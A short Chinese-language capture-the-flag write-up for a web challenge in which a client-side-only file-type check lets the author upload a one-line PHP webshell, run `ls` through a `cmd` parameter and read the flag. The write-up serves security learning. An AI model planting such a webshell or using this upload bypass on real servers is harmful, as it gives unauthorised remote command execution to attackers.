# [CH] Image Uploader 1 ###### tags: `Writeup` `Web` `Chinese` > [name=FlyDragon] ## Step.1 http://lotuxctf.com:20008  這是個圖片上傳網站,可以上傳圖片 上傳 `test.png` ,得到以下訊息 ``` Uploaded at : uploads/64fd8aff877ba_test.png ``` 訪問這個路徑可以看到我們上傳的圖片 本題上傳一個 **php webshell** 即可取得 flag ## Step.2 查看網頁原始碼,發現只要修改前端程式碼就能上傳任意檔案 ```js <input type="file" name="image" accept="image/*" required=""> ``` 上傳一個 `shell.php` ```php <?php system($_GET["cmd"]); ?> ``` 訪問對應路徑並傳遞參數 `?cmd=ls` 查看當前路徑還有什麼檔案 發現有 `flag.txt` ,取得 flag {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up